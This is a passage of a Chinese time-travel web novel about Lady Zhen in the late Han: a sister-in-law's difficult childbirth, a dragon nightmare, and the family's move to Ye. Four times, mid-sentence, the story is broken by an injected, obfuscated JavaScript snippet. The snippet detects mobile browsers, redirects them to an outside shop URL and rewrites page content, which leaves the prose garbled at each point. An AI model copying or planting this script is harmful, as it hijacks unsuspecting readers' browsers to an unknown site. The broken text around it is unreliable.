抬头望着不远处那几棵老乌桕,红艳似火的树叶在空气中哗哗作响,听起来像春雨淅沥,亦如冬日围炉里木头的燃烧声。 “也不知方才那半只烤乳鸽,究竟吃进谁肚里了?” 繁柯院的内屋,薛婉懒散倚着覆裹绨缯的凭几,一边翻阅首饰花样图卷,同邓端、霍逦她们闲话。 “旁的女子都怕吃胖,弥儿倒好,进嘴的东西从没停过,也不见喊撑。” “正当馋嘴长身板的年纪嘛。”霍逦解释,接下来的话却更像在数落,“我瞅着数她平日动得最勤。午膳前许还在院里贪睡,这一开饭就能跑到东厨转悠。后晌要么待在霁风斋看书,要么换身轻便衣裳回去栽莳花草。不开心时,能躲上半拉月不出门;可这若是一时兴起,瞒着主母,去什么胥夷山的云隐宫泡汤泉,也不是没有过……” 薛婉越听,眉头蹙得越拧巴,她不由望了眼外头乖乖缩成一只粉团的倩影,仿佛都是假象,叹骇:“我看呐,是要尽快把弥儿嫁出去了,在毋极可没人降得住她。” 这说着,又心情复杂地连翻了手边好几份册子。 邓端耷拉着眼皮继续做针线,她纤手轻巧一拉,正挽了个花结:“既已备起嫁妆,该是有眉目了?” “先起手,预备个全乎妥当了,往后总会派上用场。现下虽不急,就怕到时候喜事来得突然,让人措手不及。心意另算,最主要的不能跌了咱们甄氏的颜面。”薛婉实话实说,又指向其中一张凤凰金步摇图给其他人看,“这支如何啊?” 霍逦探头,笑说:“非要说,件件都珍贵好看,我瞧得眼花缭乱了。不若喊五娘子进来,紧她自己拣喜欢的挑。” “早问过了,”薛婉搦笔在某处勾了个圈,趣说,“她贯嫌麻烦,又一听是给婚事准备的,可劲甩脸子——唉,人要过来了,咱先别提这个,瞧瞧,这支银镀牡丹卷草素钗不错,雅致又大气,平日里戴着也合适。” “啊,是。” 果酒所剩无多了,季蘅终于安逸起身,打帘进了屋。 屏风后面已置放好浸泡茉莉的热水,她接过缦双递来的湿帕子,心满意足地擦脸净手,听着那边故作商酌的声调起伏明显,便悠悠飘出句:“几位夫人又在编排我什么呢?” 她们暗自交换完眼神,都带了些愧色,好在薛婉脸皮厚一点。 “夸你!她们说你生得明艳大气,和国色天香的牡丹最配。可我觉得,你年纪还小,压不住太富贵的,倒更像这甜香带刺的粉玫瑰。” 季蘅眉梢轻挑,自然是不信这种唬人的诳话。 “那三嫂该是什么花?”她仔细理好银丝叶枝纹的袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081308|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口内衬,才走过来,盯着那孕肚,投其所好,“石榴花,多子多福。” “哎呀,怎么还说到我头上来了呀?” 季蘅略得意,坐回她临窗的书案边,继续那张未完成的画。 光洁如玉的绢帛平摊着,此时只能看出有匹黑鬃赤红的千里马模样。 “二嫂就是春兰里的铁骨素心,四时常青,幽香沁人心脾;霍姨呢,该是金灿灿的桂花,荣华富贵享不尽。” 这些话她们听着都很受用。 “数你嘴甜,我看呐,实则是馋了那坛桂花酒罢!”霍逦乐呵着大笑,她更像墙头草,风一吹,谁也不得罪。 邓端剪断最后的线头,将补好的裙摆,展开给众人看:“喏,照弥儿之前说的,多绣了朵小花,可还能入眼?” 昨夜季蘅下马太急,新制的折裥裙不注意被蹬子扯破了,那件衣裳她又喜欢得紧,这才腆颜拜托起二嫂。 她忙瞧了一眼,裙角的缝补处精妙地多了对紫盈盈的水蔓菁,果然无半点差池。 “甚好,多谢二嫂。” “哎呀呀,我当真羡慕嫂嫂这神仙手艺!”薛婉伸手摸着,不禁衷心称赞,“若非怕劳累了您,高低得给我肚里孩儿预定两件了。” “老毛病,这几年虚症缠身,喊我劈柴汲水自是不能,却不耽误做些女工。何况还是小侄之事,你倒不必与我客气。” 霍逦说:“等来日弥娘的大袖连裳也该由你亲自裁制才妥当。” “自然,都要好好挑一挑好锦缎和丝线。” 兜兜转转好一会儿,又回到了那个烦人的话碴上,她们倒笑得开心,季蘅只装作没听见,埋头认真描起她的画来。 茫茫草野,天空辽阔。 笔杆贴着下巴,迟迟不肯再落下,她苦恼的思绪好像已经飘到很远的地方,其实不过在琢磨,这马背上的少年该着何种颜色的衣裳。 自从襄玉坊搬去邺城,她再没有新舞可以练了,于是尝试起丹青,用以消遣时间。很快她又嫌水墨太单调,就开始捣鼓各色的颜料,为此还特意买了几个铜盅,辣手摧花。 “你这肚子瞧着也快了。”霍逦忽然说。 “嗯,快七个月了。” “要多留心些,等八个月的时候,就该将乳医和稳婆早早地请进家里。” 每当聊起孩子,薛婉都会满目慈爱地摸摸自己的肚子,有些感慨:“尧郎也要回来了。” 季蘅在一旁记得真切,甄尧回家的日子,就该是三嫂生产的日子了。 可惜意外总会不请自来。 26.新生 那日黄昏,季蘅偃卧在临窗的竹榻上打盹儿,不久便被几阵啭呖呖的杜鹃啼声闹醒,她稍侧过身,垫高了脑袋,抬眼所见一大片充满生命力的青绿。 适值酉正,晚风温软,茂密的樟叶摇晃着,发出簌簌声响,能明显感觉到天气渐渐变热了。 半晌,女子懒散挺坐而起,不顾微乱的鬓发,将半个身子都探出了窗外:“缦双、细宝!” 她有些口渴了,想立刻喝上带碎冰块的果酒。 屋外却静悄悄的,一抹轻柔橙红粘天,瑰丽霞光铺满了半院。 可没过多久,这份安宁就被无情破灭了。 丫鬟们最后匆匆带来的,并没有冰镇瓜果,而是三嫂薛婉即将临盆的大消息。 这还是季蘅穿越之后第一次面临新生命的降诞。 好奇、忐忑、恐惧,唯独没感到多少喜悦。 毕竟要在汉末这样落后的医疗条件下完成生育,对于孕妇而言,可不就是忘川河上走钢索,命悬一线,九死一生了! 家中三位生养过的女主人此刻都在甄尧院里严谨张罗,即便今日遇上了早产,她们显得冷静缜密,很快将一切安排得井井有条。 季蘅觉得最不可思议的当属母亲张氏,老太太这辈子居然平安诞下了拢共三男五女! 也不知该说她幸运、不幸,还是非常伟大。 热水一盆接着一盆,忙不迭送进蓐室。 天色渐暗,血腥味却愈发浓重,痛苦又沙哑的惨叫声断断续续,薛婉这个头胎生得颇为不顺,她已经疼了整整两个时辰了! 庭前阶下,季蘅紧攥着纱绢,手心凉涔涔地直冒汗。 “娘子莫急,”细宝在一旁宽譬,“王妪、陈妪精通医术,都是城中有经验的稳婆,祖传多年的手艺,断然不会出差错的。” 季蘅当下可听不进任何话,正当心乱如麻,那些人再轻车熟路,到底不是正经的妇产科临床医师,若遇上什么难产大出血……呸呸呸,一定不会的。 但再急,总不能强迫千年前的古人讲究医疗保健吧。 而她也只是通过影视书籍了解过皮毛的理论常识,属于典型的纸上谈兵,真碰见血淋淋的场景,完全就头脑空白,束手无策了。 这个无信仰的现代人实在没法,最后竟双手合十开始祈祷,满心念道: 无论哪路神仙,耶稣佛祖梵天太上老君,大的小的都要保住,拜托拜托! 直至丑时二刻,薛婉又灌下了参汤后,终于在一阵几近绝望的嘶喊声中,艰难生出一个六斤半重的女儿。 孩子很健康,哭声十分嘹亮。 听到母女平安的消息,额头尽是冷汗的季蘅这才松了口沉沉的气,连忙踏进了院子。 “去看看三嫂。” “夫人累坏了,听伺候的传话,直接昏厥了过去,但无大碍,王稳婆正在洗胞衣,”缦双说,“娘子,我们这当口还是先去看望孩子,明日等夫人休息好,有精气神了,再去给她道喜也不迟。” 产房的血腥味浓重,季蘅闻多了也有些头昏脑胀:“那孩子呢?” “孩子由乳媪抱去前厅给大伙儿看了。”缦双引季蘅进了屋,果然一群人都簇在那里,欢笑声不断。 张氏看过孩子就回院了,她上了年纪,熬不得大夜,剩下的事都交给霍逦操持。 季蘅好奇地瞧了一眼襁褓,果然,全天下新生婴儿都一个样,打皱的皮肤,有点发黄的拧巴小脸蛋,看着十分脆弱。 她莫名畏惧,不敢碰,也说不来吉祥话,只好问:“有没有取名字?” “莫急,且得等尧郎回来,”霍逦亦是喜笑颜开,摘下鬓边的花绢自顾自地逗弄婴孩玩,“头回当阿父,他可要好好琢磨名与字了。” 邓端授意丫鬟念珠,给在场的婢仆都派发了喜钱,她仍显得心有余悸,像棵打蔫儿的垂柳,呆呆站在一旁看着,半晌才缓过气,叹道:“算时间,小叔原该这两日动身,就不知哪天能归家。” “咱们瞎操心什么,没名字的孩子又不会跑掉的。是不是呀,小稚儿?” 季蘅自然也领了点喜钱,图个吉利,可她到现在,还是有些没实感,攥着铜币,最后有模有样地在屋院转了一圈,没看出什么大纰漏,便安心拉着缦双、细宝回繁柯院寝息了。 “哎,生孩子多遭罪啊,”路上,她偷偷吐槽,手还不住捂住自己的小腹,“光听动静,我这儿都隐隐作痛了,无怪她们不许我进产室瞧个究竟!” “头胎一般是会难生些。”缦双却意外镇定,虽然她还没吃过猪肉,但常见猪跑,早已见怪不怪,“往后再生,生得多了,就容易多了。” 这种安慰只能适得其反,季蘅摆出一副痛苦的表情:多生什么啊生,真当人是下猪仔呢。 又忽然想到自己的未来,不由默默祈祷,别人管不了,但历史上的甄氏至少生了两个孩子,一儿一女。如果无法改变数量,能不能让他们变成龙凤胎?怀一次就够受罪了…… 想到这,她更加确信,当下经历的甄氏这个人生,百分之九十的遭难都是拜曹丕所赐。不过,现在就开始恨素未谋面的他实在早了点,先缓缓,以后有得是理由。 说回现实,目前甄尧才是季蘅认定的第一大“罪人”,他错过了女儿出生,以及非常重要的洗三礼。 洗三这个事,她也是第一回见。 那是一个顶大的彩绘陶盆,刚倒上热腾腾的槐条艾叶水。 拜完床公床母以及催生、琼霄等诸位娘娘,季蘅也随着贺三朝的远近亲戚们排队“添盆”,她大方地往里头搁了些碎金。 等差不多了,王稳婆这才抱着小家伙从里间走来,开始一系列的祝吉仪式,据说是为其洗涤前世的污秽、祈求今生的福瑞。 季蘅没待多久,她一向讨厌繁琐又折腾的过程,转而偷溜到隔壁暖间,去看望三嫂。 门窗都紧闭着,帘子内外各有两名丫鬟看护。坐月子的薛婉受不了风,绑着厚葛布围额,正倚坐在床头喝汤。不过她的心情似乎不太好,时不时叹气。 季蘅以为她是在思念甄尧,便宽慰:“路途遥远,兄长至多两三日就能回家了。” 未料脸色泛黄的薛婉却一撇嘴,苦笑道:“我倒希望他能晚点来。” 她低头摸了摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093201|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依旧松垮的肚子,声音无奈得冒出了哭腔,“现在这副丑模样,若叫尧郎瞧见,哎……” “嫂嫂生育辛苦,兄长只怕感恩戴德都来不及,哪还有什么泼胆生出忘恩负义的心思,若真敢薄情寡义,也不消您开口,我第一个拾掇他。” 季蘅嘴上虽拿好话宽慰薛婉,实则感到阵强烈的悲凉,不知是忧虑甄尧或将成为那种见异思迁的负心汉,还是同情刚生完孩子就要会为此牵扰的阿嫂。 薛婉歪头,勉强笑了笑,知道小妹是向着自己的,人却忍不住悲观:“他那样得体,若真的心存芥蒂,又岂会让我们轻易知晓?” 对此,季蘅实不知该说什么,嗓子仿佛灌满了青膏泥,于是迟疑地伸手,最后落在被子的缎面,慰藉般,用指腹轻轻摩挲。 当天夜里,她做了个应景的噩梦。 起初是雾蒙蒙一大片,什么都看不清,像撞着了硬梆梆的冰山,发出阵阵铿铮脆响。视线也在不断晃荡,抖得空气圈出多层银色涟漪。 季蘅被套进了波纹里,待视线终于停留在某处,钉死了一个黑点,滚烫的岩浆从中泌渗,很快,溶成了山涧的一口晴空。 明灿的光像金粉洒下,浓雾也随之消散。 她缓缓醒来,开始感觉到浑身上下咚咚跳动的疼痛,再就发现自己正蹊跷躺在深潭边沿的一块爬满青苔的巨石上,仿佛刚从高处坠落,难以动弹,腹部在不断流血。 是因在梦中,多荒谬的剧情也情有可原。她强忍着眩晕和剧痛,悉力支起上半身。 四周布满了窈黑的树丛,交柯错叶揉成一团,写影水中,而飘荡的铅灰云气,时而传来尖厉的哀嚎。 就在这时,潭水中央舒徐冒出一对壮丽的犄角,似麋鹿,树枝干那么粗。紧接着,是银光闪闪的鳞片、红翡色鹿眼,以及江鼍般的头额…… 传说中的龙么? 它似乎有些害羞,只将吻部浮在碧绿的水面上,正牢牢盯着季蘅,没再动了。 季蘅颤巍地伸出手,莫名想要抚摸这神奇之物——体态虽显庞大恐惧,神态却如纯真孩童一般,散发着孺慕之情。 见状,虬龙果然慢腾腾游了过来,发出嘶哑但欢喜的呼噜声,还不忘兴奋地甩了甩细长尾巴,从潭底往天上施雨去。 可不知为什么,它离自己远近,躯体却变得越小,等完全靠在岸边时,便只有幼虎大小。 “你是谁?” 季蘅终于轻触到那冰冷坚硬的头顶鳞片,它竟咧开嘴,吐出鲜红信子,像露出微笑。 “我是不是在哪见过你?” 虬龙歪了歪脑袋,将左前足的三爪搭在巨石上,未料下一秒,它就消失不见了。 与此同时,季蘅已然心颤魂飞不止,低头发现自己的小腹破了个碗大的口子! 还没来得及感受痛苦,血液便似永不枯竭的山泉,汩汩往外涌,很快染红了整片水潭。 小家伙调皮得很,竟化作一条柳枝似的虺,迫不及待地破开她的肚皮,利索钻了出来—— 那瞬时,季蘅直接被活活吓醒,抚了抚额头的冷汗,好半晌才摆脱梦魇残留的苦烬。 27.夏日 西域商队将当下最时兴的香料驮来毋极贩卖时,甄尧已经归家,并给女儿取了个好听的名字: 渠。 同是生于盛夏,他祝愿自己的孩子也能在这乱世中坚守本心,做一朵纤尘不染的芙蕖。 “本想炮制一丸带荷花气味的,可惜太过清淡,效果微弱,我便选了些安神的茵墀香给嫂嫂,以贺侄女满月。” “还是弥儿可心,知我平素喜欢焚香。”薛婉亲昵地拍了拍小妹的手背,由她搀着入了偏堂厢房歇息。 这段时日,婴孩有乳媪等一干人悉心照顾,丈夫又体贴关怀,家中事务皆无忧,薛婉做完月子,身体已养得七七八八,面上是容光焕发,比从前没差太多,但底子还是虚了些,方才只主持了满月宴半刻就觉乏力。 好在季蘅眼尖,看出嫂嫂有些体力不支,谎说她袖口沾了茶渍,要陪着去隔壁暗间换身衣裳。 正值盛夏,天气却不甚炎热,树木苍翠,连蝉鸣也响得敷衍。丫鬟很快端来两盏茶,一样是黄芪枸杞,一样是冰凉的绿豆汤。 “不过一时提不上劲了,你不必太担忧。”薛婉笑说,“这外头虽有少姑帮衬,到底我才是做东的主,不能总晾着客人,歇一会儿就好。” “阿嫂何必为了面子,亏了里子,那些夫人都生养过,自会体谅您的苦衷。” “哎,她们都是亲戚故交,肆意些也无大妨,但往后去了邺城,再不能这般失礼了。凡事当兢兢业业,委曲谨慎。” 原筹划夏天一过去,再举家搬迁的,可今年雨水足,怕是三伏天里也不会太热,甄家便委决办完渠儿的满月就赶赴邺城,免得夜长梦多。 季蘅捧着玉碗,呷啜了一小口,然后慢腾腾笑答:“是,弥儿明白。” 薛婉望着小妹的脸,迟疑道:“尧郎之前总担心你不愿离开毋极,没成想这次倒答应得利索,莫非?” 对方却是眉梢微微一扬,显得十足潇洒:“久闻邺之大名,自然要去看一看的。天地如许广阔,十三州一百四十二郡,往后若得机遇,我定当亲往游历,北至夫余,南至珠崖,东至鄮县,西至敦煌……” 薛婉木呆地发了会儿愣,复又不以为意地笑道:“再过几个月就要及笄了,还总说些孩子气的话。” 她凝神,吹了吹茶,“你啊,是被身边的安稳迷了眼,却不知外头的世道有多兵荒马乱。此行出毋极迁居邺城,袁少将军甚至派了一支亲卫,护送咱们,以保安危。从小到大,你可吃过一点儿苦?自然不明白,再秀丽的山川都比不过一间能遮风避雨的茅庐。莫嫌阿嫂直言,你往后可当不成什么了不起的游侠,总归是要收心出嫁的。” 这次季蘅学乖了,安定地听完薛婉训诫,什么也不反驳,只当左耳进右耳出了。 未几,乳媪程氏款步而来,禀知夫人,孺子刚睡醒,又问,乳食后,可要将其抱去见客。 薛婉只应了一声好。 季蘅见此人生得颇清丽,不似寻常婢仆,便多瞅了几眼,等她退下,好奇地问三嫂:“方才是新招的丫头?我瞧着略眼熟,却想不起名字。” “什么丫头,”薛婉笑说,“那是周家老大的媳妇,程氏。她前年生过一胎,如今奶水还足,又知根知底的,就托周妈聘来,帮衬着照管渠女了。” 季蘅隐约想起有这么个人物,是以周媪在甄家资历老,当年她儿子婚嫁、长孙出生,连自己都多少赏了些贺金。 “倒很辛苦可怜——须得没日没夜照顾主家的孩子,与尚且年幼的亲生孩子分离。” “哪可怜,娃娃都一岁多了,况且还有周妈妈这个亲祖母带着。”攀起杂话,薛婉忽来兴头了,“周黍参军去了,周家老二也将授室,家里一时也没有需要操持的地方。程氏同我诉苦过,周家瞧不起她,前日子还信誓旦旦说什么,等攒够了钱,就与丈夫和离,嗐,那副嘴硬心软的模样,我可不信,倒常见她补贴家用……” 歇息得差不多了,程氏也将渠儿抱来,大家一同回了宴厅。 满月宴结束时已近黄昏,鸟归岫,人影散尽,夜幕才迟迟拉下,灌木丛的蝈蝈开始鸣叫。 窗口大敞,其下一鼎博山炉,燃着辟蚊蚋的迷迭香,左右点了数盏幽黄的烛火,季蘅沐浴完,便伏在案前整理自己的手稿,这些东西她从不许旁人碰。 “娘子,歇息会儿吧。”缦双呈来一碟浸过井底水的瓜果。 “甜吗?” “您尝尝。” 季蘅挺直背,又抖了抖单绡袖子,她笑着张嘴,默契地等缦双喂过来一块。 “唔,还不错。剩下的,你和今晚守夜的丫头分了吃掉吧。” “娘子不再多食些?” “我没什么胃口,也不想把手弄得黏糊糊的……下去安置吧。” 季蘅继续忙活自己的事,找了个小匣子,把中意的手绘地图和字稿都锁住,其余不尽人意的或涂黑、或揉成团,丢进一个布袋里,最后吩咐丫鬟送到灶台偷偷烧掉。 她端详着那些用简体默写的超越时空的诗词,忍不住想笑,李白杜甫苏轼,甚至还打算偷默一篇诸葛亮的《出师表》,自从初三那年背过之后,一直牢记在心,无论何时都能随手拈来。 可着背着笑着,情绪却莫名变得悲凉。 尤其那几句越想越虐心:“后值倾覆,受任于败军之际,奉命于危难之间,尔来二十有一年矣。” 到底是天命已定,三家归晋,奈何不得,那些人戎马半生,沥尽心血,最后却难逃竹篮打水一场空的凄凉结局,就像扑火飞蛾,为了虚无缥缈的理想而奋不顾身,甚至从容赴死——真的值得吗? 道理,季蘅其实都懂,可现下,她还没法感同身受。 “娘子!” 细宝不知从哪里欢快地跑了来,进屋前,还被坐在廊隅乘凉吃瓜的红枭拦了一声。 “娘子快看!” 她居然抓来了一袋萤火虫。 “你这是跑哪了?”季蘅惊喜中透着好奇,连忙把那些绢子都塞进待焚烧的布袋里。 细宝笑答:“就在霁风院后池边,大片灌木丛处,好久没去了,没想到夜里居然还有萤点。不过,不算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099907|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多,只这一些,奴婢给您全捉来了。” 季蘅接过那布兜,本想把它悬挂在窗前,却忽然停顿,喃喃道:“流萤,流萤,自然要漫山遍野飞舞时才好看。” 细宝想了想,也认同:“是这个理。那要不叫卢宽他们趁夜去水田捉,捉个十几袋,然后在院里一起放给您看,肯定特别壮观。” “倒不必这般兴师动众,”季蘅轻笑,“辛苦你捉来。但我想把它们放出来观赏,好不好?” “都是给娘子捉的,由您想怎样处置都行。” 得了首肯,季蘅便把袋子搁在窗台上,再解开袋口绑的绳。 数只绿莹莹的小光点,一闪一闪,伴风飘出了窗外,但有只意外落在她的掌心。 她盯着那只萤火虫良久,直到它重新振翅,也飞远了。 却不知为何,忽然在此刻想到了孟觉苦。 那个人会在哪里度过今年的夏天,身上的病痛有无复发,当下又在做什么? 沛国谯县。 孟觉苦一副布衣小厮打扮,从某府后门缓缓离去。行至无人之处,他才留恋地回望了最后一眼。 这家的深宅大院里,有间不起眼的居室,门窗紧闭,四壁萧然,与外头的红漆大门显得是天差地别。 酉时,赵妈妈按例送来药膳,房中只一位身着素衣、年逾四十的妇人正坐在织机前用梭子绕线。 “夫人请用。” “就搁在案上吧。” 可今天,赵妈妈似乎有话要说,没有像往常那样直接离开,而是郑重走近了些,朝她屈礼,显得异常高兴:“老奴恭喜女君了。” 那妇人微微一愣,有些心虚地窃眸嗫嚅,连纺织的手也半悬着颤巍。 却听赵妈妈继续说:“丁仪公子带来的好消息,前些日子明公寿辰,坦言不日将亲自登门接您回家。这可是天大的礼遇啊,他是一直都惦念着女君您的。” 原来此妇便是曹操的发妻丁氏。 未料丁夫人先是松下口气,而后眉眼一抬,不屑讥笑:“回家?那此刻,我们又身居何处?” 陪嫁的赵妈妈侍奉丁氏多年,知她脾性,是万里挑一的高傲刚强,眼里揉不得半点砂子,更看不上所谓的三纲五常、贤良淑德。 可还是不敢想,丁氏居然能为个没有血缘关系的孩子,与位极人臣的夫君闹到和离这一步。 “女君啊,”赵妈妈掏心窝子地劝解,“逝者已逝,您再疼爱大公子,赌气数月也就罢了,何必苦苦介怀明公?若叫旁的贱婢捡到便宜,实在得不偿失!” 丁氏叹了声气:“子脩命苦,生母死得早,我这个养母又不受待见,他虽托生成司空的儿子,却没怎么享受过富贵荣华,打小养在那马背上颠沛流离,身上的伤疤不计其数……” “老奴该死,又叫女君念起伤心事。” “不伤心了。”她却一扫往日沉郁愁容,释然地轻笑,“我痛苦煎熬了大半辈子,早与阿瞒相看两厌,如今和离了才算好。由他去开创基业,经略宏图……也该我轻松逍遥,为自己活一活。” 28.入邺 建安三年夏末,袁军再讨易京,连战连捷,重挫了公孙瓒的锐气。 所谓喜事同庆,邺城里的木芙蓉也都热闹起来,一朵朵绽开了花蕊,连成片的粉艳朝霞,铺满袁府后院沿湖的鹅卵石路两旁。 袁谭之妻文悫君与辛家大嫂施氏是多年的手帕交,晌午一块用完膳,约着偕行觅春园中赏花闲话。 “善娘今日怎么没随你过来?最后那道煮菜,记得是她喜欢吃的。” 文悫君是荆州江夏人,自嫁到河北后,再没机会回过千里迢迢外的家乡,某次游宴,见辛善印率真活泼,与家中幼妹又生得几分相似,便待之甚为亲热。 “多谢您常惦念。她啊,听说是一个关系极好的幼时玩伴举家迁到了邺城,非要出城迎候。” “这倒巧了,二郎今日也起了个大早出城,说是要等那个……”文悫君皱了皱眉,忽就模糊了记忆,一时说不上已经挂在嘴边的名字。 “莫非也是中山毋极甄家?”施氏试探问。 “对!那位长吏正是姓甄。” “果然巧了。” 见她莫名发笑,文悫君转眄捻起一枝娇花,这才后知后觉地领悟:“袁熙喜欢的,竟是甄家的女儿?” 这种事上外人不好多嘴相戏,施氏只莞尔含糊道:“婚姻嫁娶,他们这些小的,自己心里有数就好。” 未料文悫君一脸不屑,偏过头,压低了声音说:“管他私下有什么通天的想法,最后还不是全都得由符葆堂坐着的大家拍板。” 施氏明白她的意思,便问:“邺侯夫人的外甥女,叫什么磐儿的,还没走呢?” “走?”文悫君实在厌恼自己那位目中无人的君姑刘氏,故而顺带迁怒到温家娘子身上,这会子语气都变得生硬了,“没把袁熙剥下层皮,怕是不肯罢休。” 闻此,施氏没再作声,是谁也不想得罪。 “这甄娘子来了正好啊,早听闻她是个俊俏可人的才女,也教我等见见世面。”文悫君越想越畅快,“既为善印妹妹的闺中密友,还得拜托阿施你替我下张帖子,过两日是乞巧,请她来袁府赛巧,大家多走动,彼此也好熟络熟络。” 甄家的新宅选在了邺南上秋门明雍大道东边,姑莲池附近。 领头按辔徐行的正是甄尧与袁熙。 后面跟着好些马车,等车停稳了,季蘅牵着辛善印,从其中的一辆里走下来。 她脚踩了地,才终于有了实感,来到这历史上甄氏命运的中转站,邺城。 “刚路过的那个茶肆,雅致闲逸,有空咱们可以去品品?” “你容我先休息足罢。” 从城门外到府宅这一路,善印就喋喋不休地念叨个没完。 “好好好,知你路途劳累,今日兴致不高,我不好叨扰太久。”她笑说,“哦,还有,玄坊主将襄玉坊开在了纳义门附近,倚着漳河,离这可能有半柱香的脚程,也不算远。” 邺城的市井果然繁华,是那些乡下僻壤比不了的。 众人各有各的欢喜,说笑着鱼贯涌进了府。 “这两日是要辛苦些,好好拾掇一番。”薛婉四处打量,不忘对身后的管家婆子反复嘱咐,“等老夫人她们都过来了,需得见到一个亮亮堂堂、热热闹闹的家。” 薛婉、季蘅、景湛还有襁褓中的渠儿先行到的邺城。 霍逦和邓端在毋极老宅主持扫尾,张老夫人更不着急,直接当起甩手掌柜,住进了道观,说是积福告祖,且得等这边将新宅布置妥当了,再动身不迟。 “你好像长高了些。” 原和甄尧在最前头开路的袁熙忽然回过身,满目温柔地望向季蘅。 迎上他的注视时,季蘅难免有些不知所措,迟疑地放慢步子。 他小心翼翼地笑了笑,继续说:“比去年见时,更漂亮了。” 那眉眼之间所含的浓郁情愫,连善印都看出了端倪,她故意打趣:“哟,二公子这样讲,甚是失礼!难不成以前我们弥儿就不够漂亮了?” 袁熙是愚直木讷的,一时竟没法反驳,只能埋怨地盱目:“都漂亮,并非……我可没有那意思,辛氏,你休要瞎诌!” 得胜的善印忙捂着嘴,咯咯直笑。 在旁的甄尧闻此,也不由逗他,拱了拱手:“啊,家妹貌丑,还请少将军多担待。” “你怎么也来胡闹!” 这几位凑在一块儿乱起哄,季蘅却略无奈地撇开脸,真是幼稚又无趣。她现下疲惫得很,只想好好躺平休息,虽在马车打了一天的盹儿,却颠簸得满身酸疼。 新的甄府没有以前的老宅大,毕竟邺城的地段比毋极贵多了,但各院都更显气派。 季蘅的新住所唤作集芳馆,两边楹柱分别镌着“十步之泽,必有香草”“十室之邑,必有忠士”,对此,她并不反感,便懒得再改名。 毕竟自己在这处是住不长久的。 甄氏具体哪一年嫁给袁熙的,她以前了解三国历史的时候从未关心过,史书上大约也没详细说,只清楚记得,是建安九年,曹军占取了邺城。 算算距今多少还有六年,那就是说,六年后,就要见到那位把自己弄死的冤家,也不知他生得何种模样,什么性子……既忐忑,又莫名有些拆盲盒的期待。 而放眼现在,袁府那边也不太平静,二公子亲自到城外接人的消息很快传到了邺侯夫人的耳朵里。 可惜刘氏近来心里有气。 前阵子蹋顿贡奉了一名乌桓美人,名唤伊茹娜,袁绍甚是喜爱,几乎日日宠幸。这茹姬不愧出身茫茫草原,性气泼辣,堪比野马驹一般刁蛮豪横,不知是否仗恃自己受宠,连女君也敢顶撞。 袁绍正当兴头上,连先前最得势的宿夫人也冷落不少,自然对这个新欢是处处维护,这几日行军在外,竟把她也一并带上了。 还敷衍说什么,谁让人家会骑马,会射箭! 刘氏难得吃瘪,只能把气撒到别处——是借着幺儿惊痢的由头,狠狠敲打了其生母,又四处斡刺,重罚了另一个打扮鲜艳的婢妾。 刚舒坦没多少,偏袁熙这时候非要撞了上来。 “好啊,亏得还是从我肚皮里爬出来的小子,如今竟敢屈尊枉驾去城外迎一落魄之户?”刘氏有些恨铁不成钢,手掌也拍疼了,“倒要看看是多漂亮的狐媚,把我儿迷得这般低三下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114931|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四!” 外甥女温令磐就立在一旁惴惴伺候着,她性子有些怯懦,往好听了说叫温顺文弱,可当姨母真正发起火来,甚至连大气都不敢喘,想上前斟茶安抚,却又怕得畏缩。 正当气头上的刘氏本就心烦,平日里便最看轻她这一点,于是掐了掐左手所持的白玉珠串,鄙夷地剜了一眼,挑剔道:“也怪你模样寡淡,又不会来事,莫说入不得二郎的青睐,便是我这个长辈都瞧不上,若非瞻顾你母亲的情面,早将你赶走了,何须浪费这点唾沫。” 可怜那女郎吓得连忙跪下,强忍哭腔:“是磐儿无能,但还请姨母爱惜身体,千万息怒。” “息怒?你们一个个恨不得日夜气我恼我,盼着我早登极乐才是!” 见状,周遭伺候的仆妇丫鬟也都慌忙跌跪,不敢吭声。这厅堂虽宽敞明亮,气氛却十足压抑。 还好这时,袁尚进来请安了,那副虚伪的天真烂漫样子,轻易戳破沉寂的泡沫。 